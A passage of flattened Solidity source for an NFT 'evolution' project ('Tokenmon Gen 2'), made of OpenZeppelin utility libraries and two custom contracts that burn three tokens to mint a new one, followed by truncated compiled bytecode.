function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; interface IEvolutionContract { function isEvolvingActive() external view returns (bool); function isEvolutionValid(uint256[3] memory _tokensToBurn) external returns (bool); function tokenURI(uint256 tokenId) external view returns (string memory); function getEvolutionPrice() external view returns (uint256); } contract EvolutionContract is IEvolutionContract, Ownable { using Strings for uint256; bytes public bases; mapping(bytes1 => bytes1) public evolutionMapping; bytes1 public constant DIGITTO_BASE = 0x1e; string public _baseURI = ""; bool private _isEvolvingActive = false; function isEvolvingActive() external view override returns (bool) { return _isEvolvingActive; } function isEvolutionValid(uint256[3] memory _tokensToBurn) external override returns (bool) { bytes1 firstBase = getBase(_tokensToBurn[0] - 1); bytes1 secondBase = getBase(_tokensToBurn[1] - 1); bytes1 thirdBase = getBase(_tokensToBurn[2] - 1); bool isValid = false; bytes1 base; if (firstBase == secondBase && firstBase == thirdBase) { isValid = true; base = firstBase; } else if (firstBase == DIGITTO_BASE && secondBase == thirdBase) { isValid = true; base = secondBase; } else if (secondBase == DIGITTO_BASE && firstBase == thirdBase) { isValid = true; base = firstBase; } else if (thirdBase == DIGITTO_BASE && firstBase == secondBase) { isValid = true; base = firstBase; } if (isValid) { bytes1 evolutionBase = evolutionMapping[base]; if (evolutionBase == 0x00) { isValid = false; } else { bases.push(evolutionBase); } } return isValid; } function tokenURI(uint256 tokenId) external view override returns (string memory) { return string(abi.encodePacked(_baseURI, tokenId.toString())); } function getEvolutionPrice() external pure override returns (uint256) { return 0 ether; } function toggleEvolvingActive() external onlyOwner { _isEvolvingActive = !_isEvolvingActive; } function setBaseURI(string memory baseURI) external onlyOwner { _baseURI = baseURI; } function getEvolutionMapping(bytes1 base) public view returns (bytes1) { return evolutionMapping[base]; } function addEvolutionMappings(bytes memory originalBases, bytes memory evolvedBases) public onlyOwner { for (uint i = 0; i < originalBases.length; i++) { evolutionMapping[originalBases[i]] = evolvedBases[i]; } } function getBase(uint256 index) public view returns (bytes1) { return bases[index]; } function addBases(bytes memory basesToAdd) public onlyOwner { for (uint i = 0; i < basesToAdd.length; i++) { bases.push(basesToAdd[i]); } } function clearBases() public onlyOwner { bases = ""; } } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./EvolutionContract.sol"; contract EvolutionMinter is ERC721Enumerable, Ownable { using Strings for uint256; IEvolutionContract evolutionContract; ERC721Enumerable mintingContract; uint256 private _currentTokenID = 10420; string private _baseUri = ""; event Evolve(address _to, uint256 _tokenId, uint256[3] _burnedTokens, bytes data); constructor() ERC721("Tokenmon Gen 2", "TM2") { } function setBaseURI(string memory baseUri) public onlyOwner { _baseUri = baseUri; } function _baseURI() internal view virtual override returns (string memory) { return _baseUri; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { return string(abi.encodePacked(_baseUri, tokenId.toString())); } function setEvolutionContractAddress(address _address) public onlyOwner { evolutionContract = IEvolutionContract(_address); } function setMintingContractAddress(address _address) public onlyOwner { mintingContract = ERC721Enumerable(_address); } function evolve(uint256[3] memory _tokensToBurn, bytes memory data) public { require(evolutionContract.isEvolvingActive(), "EvolutionMinter: Evolving is not active right now"); require(evolutionContract.isEvolutionValid(_tokensToBurn), "EvolutionMinter: Evolution is not valid"); address dead = address(0x000000000000000000000000000000000000dEaD); mintingContract.safeTransferFrom(msg.sender, dead, _tokensToBurn[0]); mintingContract.safeTransferFrom(msg.sender, dead, _tokensToBurn[1]); mintingContract.safeTransferFrom(msg.sender, dead, _tokensToBurn[2]); _currentTokenID = _currentTokenID + 1; _mint(msg.sender, _currentTokenID); emit Evolve(msg.sender, _currentTokenID, _tokensToBurn, data); } function withdraw(address _target) public onlyOwner { payable(_target).transfer(address(this).balance); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80636352211e116100c357806395d89b411161007c57806395d89b41146103c1578063a22cb465146103df578063b88d4fde146103fb578063c87b56dd14610417578063e985e9c514610447578063f2fde38b1461047757610158565b80636352211e1461030157806370a0823114610331578063715018a614610361578063746584b41461036b5780638da5cb5b1461038757806393c9095f146103a557610158565b806323b872dd1161011557806323b872dd146102315780632f745c591461024d57806342842e0e1461027d5780634f6ccce71461029957806351cff8d9146102c957806355f804b3146102e557610158565b806301ffc9a71461015d57806306fdde031461018d578063081812fc146101ab578063095ea7b3146101db57806318160ddd146101f75780631d27c8cf14610215575b600080fd5b61017760048036038101906101729190612c00565b610493565b60405161018491906136ac565b60405180910390f35b61019561050d565b6040516101a291906136c7565b60405180910390f35b6101c560048036038101906101c09190612c93565b61059f565b6040516101d291906135a7565b60405180910390f35b6101f560048036038101906101f09190612b47565b610624565b005b6101ff61073c565b60405161020c9190613949565b60405180910390f35b61022f600480360381019061022a9190612b83565b610749565b005b61024b60048036038101906102469190612a41565b610bed565b005b61026760048036038101906102629190612b47565b610c4d565b6040516102749190613949565b60405180910390f35b61029760048036038101906102929190612a41565b610cf2565b005b6102b360048036038101906102ae9190612c93565b610d12565b6040516102c09190613949565b60405180910390f35b6102e360048036038101906102de91906129dc565b610da9565b005b6102ff60048036038101906102fa9190612c52565b610e6f565b005b61031b60048036038101906103169190612c93565b610f05565b60405161032891906135a7565b60405180910390f35b61034b600480360381019061034691906129dc565b610fb7565b6040516103589190613949565b60405180910390f35b61036961106f565b005b610385600480360381019061038091906129dc565b6110f7565b005b61038f6111b7565b60405161039c91906135a7565b60405180910390f35b6103bf60048036038101906103ba91906129dc565b6111e1565b005b6103c96112a1565b6040516103d691906136c7565b60405180910390f35b6103f960048036038101906103f49190612b0b565b611333565b005b61041560048036038101906104109190612a90565b6114b4565b005b610431600480360381019061042c9190612c93565b611516565b60405161043e91906136c7565b60405180910390f35b610461600480360381019061045c9190612a05565b61154a565b60405161046e91906136ac565b60405180910390f35b610491600480360381019061048c91906129dc565b6115de565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105065750610505826116d6565b5b9050919050565b60606000805461051c90613c11565b80601f016020809104026020016040519081016040528092919081815260200182805461054890613c11565b80156105955780601f1061056a57610100808354040283529160200191610595565b820191906000526020600020905b81548152906001019060200180831161057857829003601f168201915b5050505050905090565b60006105aa826117b8565b6105e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e090613889565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061062f82610f05565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610697906138e9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166106bf611824565b73ffffffffffffffffffffffffffffffffffffffff1614806106ee57506106ed816106e8611824565b61154a565b5b61072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490613809565b60405180910390fd5b610737838361182c565b505050565b6000600880549050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5e58df26040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b157600080fd5b505afa1580156107c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e99190612bd7565b610828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081f906137c9565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166317b8411c836040518263ffffffff1660e01b81526004016108839190613691565b602060405180830381600087803b15801561089d57600080fd5b505af11580156108b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d59190612bd7565b610914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b906136e9565b60405180910390fd5b600061dead9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e338386600060038110610995577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516040518463ffffffff1660e01b81526004016109b8939291906135c2565b600060405180830381600087803b1580156109d257600080fd5b505af11580156109e6573d6000803e3d6000fd5b50505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e338386600160038110610a64577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516040518463ffffffff1660e01b8152600401610a87939291906135c2565b600060405180830381600087803b158015610aa157600080fd5b505af1158015610ab5573d6000803e3d6000fd5b50505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e338386600260038110610b33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516040518463ffffffff1660e01b8152600401610b56939291906135c2565b600060405180830381600087803b158015610b7057600080fd5b505af1158015610b84573d6000803e3d6000fd5b505050506001600d54610b979190613aa0565b600d81905550610ba933600d546118e5565b7f04dcc29913faeb08a67b6816340de94fc8f344e5368da38730266700e81c3a1633600d548585604051610be09493929190613645565b60405180910390a1505050565b610bfe610bf8611824565b82611ab3565b610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490613909565b60405180910390fd5b610c48838383611b91565b505050565b6000610c5883610fb7565b8210610c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9090613709565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610d0d838383604051806020016040528060008152506114b4565b505050565b6000610d1c61073c565b8210610d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5490613929565b60405180910390fd5b60088281548110610d97577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610db1611824565b73ffffffffffffffffffffffffffffffffffffffff16610dcf6111b7565b73ffffffffffffffffffffffffffffffffffffffff1614610e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1c906138a9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e6b573d6000803e3d6000fd5b5050565b610e77611824565b73ffffffffffffffffffffffffffffffffffffffff16610e956111b7565b73ffffffffffffffffffffffffffffffffffffffff1614610eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee2906138a9565b60405180910390fd5b80600e9080519060200190610f01929190612761565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa590613849565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f90613829565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611077611824565b73ffffffffffffffffffffffffffffffffffffffff166110956111b7565b73ffffffffffffffffffffffffffffffffffffffff16146110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e2906138a9565b60405180910390fd5b6110f56000611ded565b565b6110ff611824565b73ffffffffffffffffffffffffffffffffffffffff1661111d6111b7565b73ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906138a9565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6111e9611824565b73ffffffffffffffffffffffffffffffffffffffff166112076111b7565b73ffffffffffffffffffffffffffffffffffffffff161461125d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611254906138a9565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060600180546112b090613c11565b80601f01602080910402602001604051908101604052809291908181526020018280546112dc90613c11565b80156113295780601f106112fe57610100808354040283529160200191611329565b820191906000526020600020905b81548152906001019060200180831161130c57829003601f168201915b5050505050905090565b61133b611824565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a0906137a9565b60405180910390fd5b80600560006113b6611824565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611463611824565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516114a891906136ac565b60405180910390a35050565b6114c56114bf611824565b83611ab3565b611504576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fb90613909565b60405180910390fd5b61151084848484611eb3565b50505050565b6060600e61152383611f0f565b604051602001611534929190613583565b6040516020818303038152906040529050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6115e6611824565b73ffffffffffffffffffffffffffffffffffffffff166116046111b7565b73ffffffffffffffffffffffffffffffffffffffff161461165a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611651906138a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c190613749565b60405180910390fd5b6116d381611ded565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806117a157507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806117b157506117b0826120bc565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661189f83610f05565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194c90613869565b60405180910390fd5b61195e816117b8565b1561199e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199590613769565b60405180910390fd5b6119aa60008383612126565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119fa9190613aa0565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000611abe826117b8565b611afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af4906137e9565b60405180910390fd5b6000611b0883610f05565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611b7757508373ffffffffffffffffffffffffffffffffffffffff16611b5f8461059f565b73ffffffffffffffffffffffffffffffffffffffff16145b80611b885750611b87818561154a565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611bb182610f05565b73ffffffffffffffffffffffffffffffffffffffff1614611c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfe906138c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e90613789565b60405180910390fd5b611c82838383612126565b611c8d60008261182c565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cdd9190613b27565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d349190613aa0565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611ebe848484611b91565b611eca8484848461223a565b611f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0090613729565b60405180910390fd5b50505050565b60606000821415611f57576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506120b7565b600082905060005b60008214611f89578080611f7290613c43565b915050600a82611f829190613af6565b9150611f5f565b60008167ffffffffffffffff811115611fcb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611ffd5781602001600182028036833780820191505090505b5090505b600085146120b0576001826120169190613b27565b9150600a856120259190613c8c565b60306120319190613aa0565b60f81b81838151811061206d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856120a99190613af6565b9450612001565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6121318383836123d1565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121745761216f816123d6565b6121b3565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146121b2576121b1838261241f565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121f6576121f18161258c565b612235565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146122345761223382826126cf565b5b5b505050565b600061225b8473ffffffffffffffffffffffffffffffffffffffff1661274e565b156123c4578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612284611824565b8786866040518563ffffffff1660e01b81526004016122a694939291906135f9565b602060405180830381600087803b1580156122c057600080fd5b505af19250505080156122f157506040513d601f19601f820116820180604052508101906122ee9190612c29565b60015b612374573d8060008114612321576040519150601f19603f3d011682016040523d82523d6000602084013e612326565b606091505b5060008151141561236c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236390613729565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506123c9565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161242c84610fb7565b6124369190613b27565b905060006007600084815260200190815260200160002054905081811461251b576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506125a09190613b27565b90506000600960008481526020019081526020016000205490506000600883815481106125f6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050806008838154811061263e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806126b3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006126da83610fb7565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600080823b905060008111915050919050565b82805461276d90613c11565b90600052602060002090601f01602090048101928261278f57600085556127d6565b82601f106127a857805160ff19168380011785556127d6565b828001600101855582156127d6579182015b828111156127d55782518255916020019190600101906127ba565b5b5090506127e391906127e7565b5090565b5b808211156128005760008160009055506001016127e8565b5090565b600061281761281284613995565b613964565b9050808285602086028201111561282d57600080fd5b60005b8581101561285d578161284388826129c7565b845260208401935060208301925050600181019050612830565b5050509392505050565b600061287a612875846139bb565b613964565b90508281526020810184848401111561289257600080fd5b61289d848285613bcf565b509392505050565b60006128b86128b3846139eb565b613964565b9050828152602081018484840111156128d057600080fd5b6128db848285613bcf565b509392505050565b6000813590506128f281613d8a565b92915050565b600082601f83011261290957600080fd5b6003612916848285612804565b91505092915050565b60008135905061292e81613da1565b92915050565b60008151905061294381613da1565b92915050565b60008135905061295881613db8565b92915050565b60008151905061296d81613db8565b92915050565b600082601f83011261298457600080fd5b8135612994848260208601612867565b91505092915050565b600082601f8301126129ae57600080fd5b81356129be8482602086016128a5565b91505092915050565b6000813590506129d681613dcf565b92915050565b6000602082840312156129ee57600080fd5b60006129fc848285016128e3565b91505092915050565b60008060408385031215612a1857600080fd5b6000612a26858286016128e3565b9250506020612a37858286016128e3565b9150509250929050565b600080600060608486031215612a5657600080fd5b6000612a64868287016128e3565b9350506020612a75868287016128e3565b9250506040612a86868287016129c7565b9150509250925092565b60008060008060808587031215612aa657600080fd5b6000612ab4878288016128e3565b9450506020612ac5878288016128e3565b9350506040612ad6878288016129c7565b925050606085013567ffffffffffffffff811115612af357600080fd5b612aff87828801612973565b91505092959194509250565b60008060408385031215612b1e57600080fd5b6000612b2c858286016128e3565b9250506020612b3d8582860161291f565b9150509250929050565b60008060408385031215612b5a57600080fd5b6000612b68858286016128e3565b9250506020612b79858286016129c7565b9150509250929050565b60008060808385031215612b9657600080fd5b6000612ba4858286016128f8565b925050606083013567ffffffffffffffff811115612bc157600080fd5b612bcd85828601612973565b9150509250929050565b600060208284031215612be957600080fd5b6000612bf784828501612934565b91505092915050565b600060208284031215612c1257600080fd5b6000612c2084828501612949565b91505092915050565b600060208284031215612c3b57600080fd5b6000612c498482850161295e565b91505092915050565b600060208284031215612c6457600080fd5b600082013567ffffffffffffffff811115612c7e57600080fd5b612c8a8482850161299d565b91505092915050565b600060208284031215612ca557600080fd5b6000612cb3848285016129c7565b91505092915050565b6000612cc88383613565565b60208301905092915050565b612cdd81613b5b565b82525050565b612cec81613a3a565b612cf68184613a68565b9250612d0182613a1b565b8060005b83811015612d32578151612d198782612cbc565b9650612d2483613a5b565b925050600181019050612d05565b505050505050565b612d4381613b6d565b82525050565b6000612d5482613a45565b612d5e8185613